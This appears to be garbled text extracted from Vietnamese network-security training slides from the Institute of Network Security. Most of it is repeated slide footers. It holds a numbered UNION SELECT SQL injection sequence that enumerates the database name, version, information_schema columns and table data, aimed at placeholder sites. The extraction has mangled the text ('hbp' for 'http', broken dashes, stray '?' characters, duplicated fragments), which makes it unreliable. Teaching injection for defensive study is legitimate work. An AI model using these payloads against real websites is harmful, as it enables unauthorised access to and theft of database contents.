SECURITY Career Trình  bày:  Chuyên  viên  an  ninh  mạng  Lê  Nguyễn  Trường  Giang   Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career INFORMATION_SCHEMA Forum_data CorpSite ?????_data users Sản phẩm Tin Tức Id User Pass col1 col2 coln col1 col2 coln 1 123 … … 10 Guess … … … Institute of Network Security – istudy.edu.vn … Admin guest SECURITY Career 1.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,2,3,4-­‐-­‐   2.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,DB_NAME,3,4-­‐-­‐     3.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,@@VERSION, 3,4-­‐-­‐   4.  hbp://[site]/page.asp?id=1    UNION  SELECT  ALL  1,column_name, 3,4  from  DBNAME.informaWon_schema.columns  where   table_name='TABLE-­‐NAME-­‐1'-­‐-­‐     5.  hbp://[site]/page.asp?id=1    UNION  SELECT  ALL  1,COLUMN-­‐ NAME-­‐1,3,4  from  TABLE-­‐NAME-­‐1-­‐-­‐     Institute of Network Security – istudy.edu.vn     SECURITY Career hbp://xxx.com/newsDetail.php? id=8  union  seclect  1,@@version,   column_name,4,5,6,7  from   InformaWon_schema.columns-­‐-­‐   Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn ...  DBNAME.informaWon_schema.columns  where   table_name=''TABLE-­‐NAME-­‐1 ''-? ?? ?-? ?‐     5.  hbp://[site]/page.asp?id=1    UNION  SELECT  ALL  1,COLUMN-­‐ NAME-­‐1,3,4  from  TABLE-­‐NAME-­‐ 1-? ?? ?-? ?‐     Institute of Network Security...  SELECT  ALL  1,2,3, 4-? ?? ?-? ?‐   2.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,DB_NAME,3, 4-? ?? ?-? ?‐     3.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,@@VERSION, 3, 4-? ?? ?-? ?‐   4.  hbp://[site]/page.asp?id=1... SECURITY Career Ø Xây  dựng  và  triển  khai ? ?ứng ? ?dụng ? ?Web   Institute of Network Security – istudy.edu.vn SECURITY Career Ø   Hạ  tầng ? ?ứng ? ?dụng ? ?Web   Institute of Network Security – istudy.edu.vn